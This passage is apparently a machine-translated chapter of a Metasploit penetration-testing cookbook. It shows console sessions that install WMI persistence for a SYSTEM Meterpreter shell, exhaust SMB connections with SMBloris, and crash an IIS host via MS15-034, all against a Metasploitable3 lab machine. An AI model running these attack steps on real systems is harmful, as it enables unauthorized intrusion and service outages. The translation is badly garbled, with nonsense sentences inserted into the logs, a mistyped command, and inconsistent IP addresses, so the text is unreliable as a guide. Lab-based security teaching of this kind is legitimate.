[*] Backgrounding session 1...
-
msf5 exploit(windows/local/wmi_persisence) > exploit
-
-
[*] Installing Persistence…
-
[+] – Bytes remaining: 12560
-
[+] – Bytes remaining: 4560
-
[+] Payload successfully staged.
-
[+] Persistence installed! Call a shell using “smbclient \\\192.168.77.144\\C$ -U Administrator <arbitrary password>”
-
[*] Clean up Meterpreter RC file: /root/.msf4/logs/wmi_persisence/192.168.177.144_20190428.2114/192.168.177.144_20190428.2114.rc
-
msf5 exploit(windows/local/wmi_persisence) >
-
Copy Code
Write-off of target machine login and re-entry,msfconsoleWe’ll get back-to-back sessions here.
-
[*] Meterpreter session 2 opened (192.168.177.143:4433 -> 192.168.177.144:49437) It’s not like I’m gonna be able to do this. 2019-04-28 12:27:54 +0800
-
-
msf5 exploit(multi/handler) > sessions – I don’t know. 2
-
[*] Starting interaction with 2…
-
-
meterpreter > getuid
-
Server username: NT AUTHORITY\SYSTEM
-
meterpreter > sysinfo
-
Computer : METASPLOITABLE3
-
OS: Windows 2008 R2 (Build 7601, Service Pack 1).
-
Architecture : x64
-
System Language: en_US
-
Domain: WORKGROUP
-
Logged On Users : 2
-
Meterpreter : x86/windows
-
meterpreter >
-
Copy Code
9. DESSIONAL SERVICES IN
Refusal of service attacks usually result from requests for large amounts of resources or exploit loopholes to the target machine, causing denial of services attacks that consume the performance of the target machine and preventing legitimate users from accessing computer services or resources, or possibly even a breakdown in the service or operating system.
Preparatory work
SMBlorisIt’s one that already exists.20 Year Windows SMB A loophole, which can lead to a denial of service attack. DoS ), paralysing large servers. Impact all versions SMB The protocol and all of it.Windows 2000 Later on the system version.
How?
1 In progressSMBlorisBefore refusing service attacks, the maximum number of connections to attack machines should be set.
-
root@osboxes:~# ulimit -n 65535
-
root@osboxes:~# umimitation -n
-
65535
-
root@osboxes:~#
-
Copy Code
2 and then usesmb_lorisModules to attack the target machine.
-
msf5 auxiliary(dos/smb/smb_loris) > Set RHOST 192.168.177.144
-
RHOST => 192.168.177.144
-
msf5 auxiliary(dos/smb/smb_loris) > Run!
-
-
[*] Starting server…
-
[*] 192.168.177.144:445 – 100 socket(s) open
-
[*] 192.168.177.144:445 – 200 socket(s) open
-
[*] 192.168.177.144:445 – 300 socket(s) open
-
[*] 192.168.177.144:445 – 400 socket(s) open
-
[*] 192.168.177.144:445 – 500 socket(s) open
-
[*] 192.168.177.144:445 – 600 socket(s) open
-
[*] 192.168.177.144:445 – 700 socket(s) open
-
[*] 192.168.177.144:445 – 800 socket(s) open
-
[*] 192.168.177.144:445 – 900 socket(s) open
-
[*] 192.168.177.144:445 – 1000 socket(s) open
-
[!] 192.168.177.144:445 – At open socket limit with 1017 sockets open. Try increasing You. system limits.
-
[*] 192.168.177.144:445 – 1017 socket(s) open
-
[*] 192.168.177.144:445 – Holding steady It’s not like I’m gonna be able to do this. 1017 socket(s) open
-
-
Copy Code
Three, look at the target machine. We can see a lot of it coming from the assailants.SMBThe request consumes a large amount of memory on the target machine. NBSS Connections can apply for distribution 128 KB Memory space, which can be depleted with a large number of connections, has the effect of denying services.
Another terrible thing.DoSThe attack is…MS15-034The HTTP protocol stack requests to process the denial of services.Microsoft Windows 7, Windows 8, Windows Server 2008, or Windows Server 2012The machine is running.MS15-034It’s a loophole.IISService, then the loophole can be used to cause a breakdown of the target server.
-
msf5 > # I’m not gonna let you go # auxiliary/dos/http/ms15_034_ulonglongadd
-
msf5 auxiliary(dos/http/ms15_034_ulonglongadd) > Set RHOSTS 192.168.177.144
-
RHOSTS => 192.168.177.144
-
msf5 auxiliary(dos/http/ms15_034_ulonglongadd) > exploit
-
-
[*] DOS request sent
-
[*] Scanned 1 Of course. 1 hosts (100% complete)
-
[*] Auxiliary module execution completed
-
msf5 auxiliary(dos/http/ms15_034_ulonglongadd) >
-
Copy Code
As you can see, the target’s dead on blue screen.
On-line learning on related experiments
Example of Metasploit attack on linux
Chapter IV Meterpreter (forecast)
In this chapter, we will learn the following: 1 – Understanding Meterpreter Core Command 2 – Understanding Meterpreter File System Order 3, Understanding Meterpreter Network Command 4, Understanding Meterpreter System Command 5, Establishing Multiple Communication Channels with Target 6, Meterpreter Counter-Accuracy 7, Screen and Keyboard Interception 8, Using Straper Mercury Script 9, Use Winenum Element Information 10 – Automating Script 11, Meterpreter Resource Script 12, MeterPreter Overtime Control 13, Meterpreter Sleep Control 14, Meter Transfer 15, Registration Table Operation 16, Loading Frame Plugs 17, API and Mixins 18, Railgun – Converting Ruby to Weapons 19, Adding DL and Function Definitions 20, Hijacking Remote VNC 21, Opening Remote Desktop Desktop 19
Annotations
Original book: Metasploit Penetration Testing Cookbook – Third Evaluation
This document is translated by Zihui Divine and reproduced with an indication of the source.
(a) Real environment, online virtual network security;
未经允许不得转载:萌萌Apprentissage » Chapter 3 Service-end gap utilization example
learn NMAP